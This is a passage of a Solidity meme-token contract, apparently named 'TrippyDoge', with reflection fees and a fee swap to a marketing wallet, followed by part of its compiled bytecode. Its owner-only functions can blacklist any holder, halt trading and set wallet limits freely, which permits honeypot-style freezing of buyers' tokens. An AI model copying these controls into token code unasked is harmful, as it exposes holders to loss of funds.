{ _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 5, "Buy rewards"); require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 9, "Buy tax"); require(redisFeeOnSell >= 0 && redisFeeOnSell <= 5, "Sell rewards"); require(taxFeeOnSell >= 0 && taxFeeOnSell <= 9, "Sell tax"); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { if (maxTxAmount > 5000000000 * 10**9) { _maxTxAmount = maxTxAmount; } } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461065c578063dd62ed3e14610685578063ea1644d5146106c2578063f2fde38b146106eb576101d7565b8063a2a957bb146105a2578063a9059cbb146105cb578063bfd7928414610608578063c3c8cd8014610645576101d7565b80638f70ccf7116100d15780638f70ccf7146104fa5780638f9a55c01461052357806395d89b411461054e57806398a5c31514610579576101d7565b80637d1db4a5146104675780637f2feddc146104925780638da5cb5b146104cf576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190612eaa565b610714565b005b34801561021157600080fd5b5061021a61083e565b6040516102279190612f7b565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612fd3565b61087b565b604051610264919061302e565b60405180910390f35b34801561027957600080fd5b50610282610899565b60405161028f91906130a8565b60405180910390f35b3480156102a457600080fd5b506102ad6108bf565b6040516102ba91906130d2565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e591906130ed565b6108d0565b6040516102f7919061302e565b60405180910390f35b34801561030c57600080fd5b506103156109a9565b60405161032291906130d2565b60405180910390f35b34801561033757600080fd5b506103406109af565b60405161034d919061315c565b60405180910390f35b34801561036257600080fd5b5061036b6109b8565b6040516103789190613186565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a391906131a1565b6109de565b005b3480156103b657600080fd5b506103d160048036038101906103cc91906131fa565b610ace565b005b3480156103df57600080fd5b506103e8610b80565b005b3480156103f657600080fd5b50610411600480360381019061040c91906131a1565b610c51565b60405161041e91906130d2565b60405180910390f35b34801561043357600080fd5b5061043c610ca2565b005b34801561044a57600080fd5b5061046560048036038101906104609190613227565b610df5565b005b34801561047357600080fd5b5061047c610ea5565b60405161048991906130d2565b60405180910390f35b34801561049e57600080fd5b506104b960048036038101906104b491906131a1565b610eab565b6040516104c691906130d2565b60405180910390f35b3480156104db57600080fd5b506104e4610ec3565b6040516104f19190613186565b60405180910390f35b34801561050657600080fd5b50610521600480360381019061051c91906131fa565b610eec565b005b34801561052f57600080fd5b50610538610f9e565b60405161054591906130d2565b60405180910390f35b34801561055a57600080fd5b50610563610fa4565b6040516105709190612f7b565b60405180910390f35b34801561058557600080fd5b506105a0600480360381019061059b9190613227565b610fe1565b005b3480156105ae57600080fd5b506105c960048036038101906105c49190613254565b611080565b005b3480156105d757600080fd5b506105f260048036038101906105ed9190612fd3565b61127b565b6040516105ff919061302e565b60405180910390f35b34801561061457600080fd5b5061062f600480360381019061062a91906131a1565b611299565b60405161063c919061302e565b60405180910390f35b34801561065157600080fd5b5061065a6112b9565b005b34801561066857600080fd5b50610683600480360381019061067e9190613316565b611392565b005b34801561069157600080fd5b506106ac60048036038101906106a79190613376565b6114cc565b6040516106b991906130d2565b60405180910390f35b3480156106ce57600080fd5b506106e960048036038101906106e49190613227565b611553565b005b3480156106f757600080fd5b50610712600480360381019061070d91906131a1565b6115f2565b005b61071c6117b3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a090613402565b60405180910390fd5b60005b815181101561083a576001601060008484815181106107ce576107cd613422565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061083290613480565b9150506107ac565b5050565b60606040518060400160405280600a81526020017f547269707079446f676500000000000000000000000000000000000000000000815250905090565b600061088f6108886117b3565b84846117bb565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000683635c9adc5dea00000905090565b60006108dd848484611984565b61099e846108e96117b3565b6109998560405180606001604052806028815260200161407060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061094f6117b3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122079092919063ffffffff16565b6117bb565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109e66117b3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6a90613402565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ad66117b3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5a90613402565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bc16117b3565b73ffffffffffffffffffffffffffffffffffffffff161480610c375750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c1f6117b3565b73ffffffffffffffffffffffffffffffffffffffff16145b610c4057600080fd5b6000479050610c4e8161226b565b50565b6000610c9b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122d7565b9050919050565b610caa6117b3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2e90613402565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dfd6117b3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8190613402565b60405180910390fd5b674563918244f40000811115610ea257806016819055505b50565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ef46117b3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7890613402565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600a81526020017f547269707079446f676500000000000000000000000000000000000000000000815250905090565b610fe96117b3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611076576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106d90613402565b60405180910390fd5b8060188190555050565b6110886117b3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611115576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110c90613402565b60405180910390fd5b60008410158015611127575060058411155b611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90613514565b60405180910390fd5b60008210158015611178575060098211155b6111b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ae90613580565b60405180910390fd5b600083101580156111c9575060058311155b611208576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ff906135ec565b60405180910390fd5b6000811015801561121a575060098111155b611259576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125090613658565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b600061128f6112886117b3565b8484611984565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112fa6117b3565b73ffffffffffffffffffffffffffffffffffffffff1614806113705750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166113586117b3565b73ffffffffffffffffffffffffffffffffffffffff16145b61137957600080fd5b600061138430610c51565b905061138f81612345565b50565b61139a6117b3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611427576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141e90613402565b60405180910390fd5b60005b838390508110156114c657816005600086868581811061144d5761144c613422565b5b905060200201602081019061146291906131a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806114be90613480565b91505061142a565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61155b6117b3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115df90613402565b60405180910390fd5b8060178190555050565b6115fa6117b3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611687576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167e90613402565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036116f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ed906136ea565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361182a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118219061377c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611899576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118909061380e565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161197791906130d2565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036119f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ea906138a0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611a62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5990613932565b60405180910390fd5b60008111611aa5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9c906139c4565b60405180910390fd5b611aad610ec3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611b1b5750611aeb610ec3565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f0657601560149054906101000a900460ff16611baa57611b3c610ec3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba090613a56565b60405180910390fd5b5b601654811115611bef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be690613ac2565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611c935750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611cd2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc990613b54565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611d7f5760175481611d3484610c51565b611d3e9190613b74565b10611d7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7590613c3c565b60405180910390fd5b5b6000611d8a30610c51565b9050600060185482101590506016548210611da55760165491505b808015611dbd575060158054906101000a900460ff16155b8015611e175750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611e2f5750601560169054906101000a900460ff165b8015611e855750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611edb5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611f0357611ee982612345565b60004790506000811115611f0157611f004761226b565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611fad5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806120605750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561205f5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561206e57600090506121f5565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156121195750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561213157600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121dc5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156121f457600a54600c81905550600b54600d819055505b5b612201848484846125bc565b50505050565b600083831115829061224f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122469190612f7b565b60405180910390fd5b506000838561225e9190613c5c565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156122d3573d6000803e3d6000fd5b5050565b600060065482111561231e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161231590613d02565b60405180910390fd5b60006123286125e9565b905061233d818461261490919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561237c5761237b612d09565b5b6040519080825280602002602001820160405280156123aa5781602001602082028036833780820191505090505b50905030816000815181106123c2576123c1613422565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612469573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061248d9190613d37565b816001815181106124a1576124a0613422565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061250830601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846117bb565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161256c959493929190613e5d565b600060405180830381600087803b15801561258657600080fd5b505af115801561259a573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b806125ca576125c961265e565b5b6125d584848461269b565b806125e3576125e2612866565b5b50505050565b60008060006125f661287a565b9150915061260d818361261490919063ffffffff16565b9250505090565b600061265683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506128dc565b905092915050565b6000600c5414801561267257506000600d54145b61269957600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b6000806000806000806126ad8761293f565b95509550955095509550955061270b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129a790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127a085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129f190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127ec81612a4f565b6127f68483612b0c565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161285391906130d2565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000683635c9adc5dea0000090506128b0683635c9adc5dea0000060065461261490919063ffffffff16565b8210156128cf57600654683635c9adc5dea000009350935050506128d8565b81819350935050505b9091565b60008083118290612923576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161291a9190612f7b565b60405180910390fd5b50600083856129329190613ee6565b9050809150509392505050565b600080600080600080600080600061295c8a600c54600d54612b46565b925092509250600061296c6125e9565b9050600080600061297f8e878787612bdc565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006129e983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612207565b905092915050565b6000808284612a009190613b74565b905083811015612a45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a3c90613f63565b60405180910390fd5b8091505092915050565b6000612a596125e9565b90506000612a708284612c6590919063ffffffff16565b9050612ac481600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129f190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612b21826006546129a790919063ffffffff16565b600681905550612b3c816007546129f190919063ffffffff16565b6007819055505050565b600080600080612b726064612b64888a612c6590919063ffffffff16565b61261490919063ffffffff16565b90506000612b9c6064612b8e888b612c6590919063ffffffff16565b61261490919063ffffffff16565b90506000612bc582612bb7858c6129a790919063ffffffff16565b6129a790919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612bf58589612c6590919063ffffffff16565b90506000612c0c8689612c6590919063ffffffff16565b90506000612c238789612c6590919063ffffffff16565b90506000612c4c82612c3e85876129a790919063ffffffff16565b6129a790919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808303612c775760009050612cd9565b60008284612c859190613f83565b9050828482612c949190613ee6565b14612cd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ccb9061404f565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612d4182612cf8565b810181811067ffffffffffffffff82111715612d6057612d5f612d09565b5b80604052505050565b6000612d73612cdf565b9050612d7f8282612d38565b919050565b600067ffffffffffffffff821115612d9f57612d9e612d09565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612de082612db5565b9050919050565b612df081612dd5565b8114612dfb57600080fd5b50565b600081359050612e0d81612de7565b92915050565b6000612e26612e2184612d84565b612d69565b90508083825260208201905060208402830185811115612e4957612e48612db0565b5b835b81811015612e725780612e5e8882612dfe565b845260208401935050602081019050612e4b565b5050509392505050565b600082601f830112612e9157612e90612cf3565b5b8135612ea1848260208601612e13565b91505092915050565b600060208284031215612ec057612ebf612ce9565b5b600082013567ffffffffffffffff811115612ede57612edd612cee565b5b612eea84828501612e7c565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612f2d578082015181840152602081019050612f12565b83811115612f3c576000848401525b50505050565b6000612f4d82612ef3565b612f578185612efe565b9350612f67818560208601612f0f565b612f7081612cf8565b840191505092915050565b60006020820190508181036000830152612f958184612f42565b905092915050565b6000819050919050565b612fb081612f9d565b8114612fbb57600080fd5b50565b600081359050612fcd81612fa7565b92915050565b60008060408385031215612fea57612fe9612ce9565b5b6000612ff885828601612dfe565b925050602061300985828601612fbe565b9150509250929050565b60008115159050919050565b61302881613013565b82525050565b6000602082019050613043600083018461301f565b92915050565b6000819050919050565b600061306e61306961306484612db5565b613049565b612db5565b9050919050565b600061308082613053565b9050919050565b600061309282613075565b9050919050565b6130a281613087565b82525050565b60006020820190506130bd6000830184613099565b92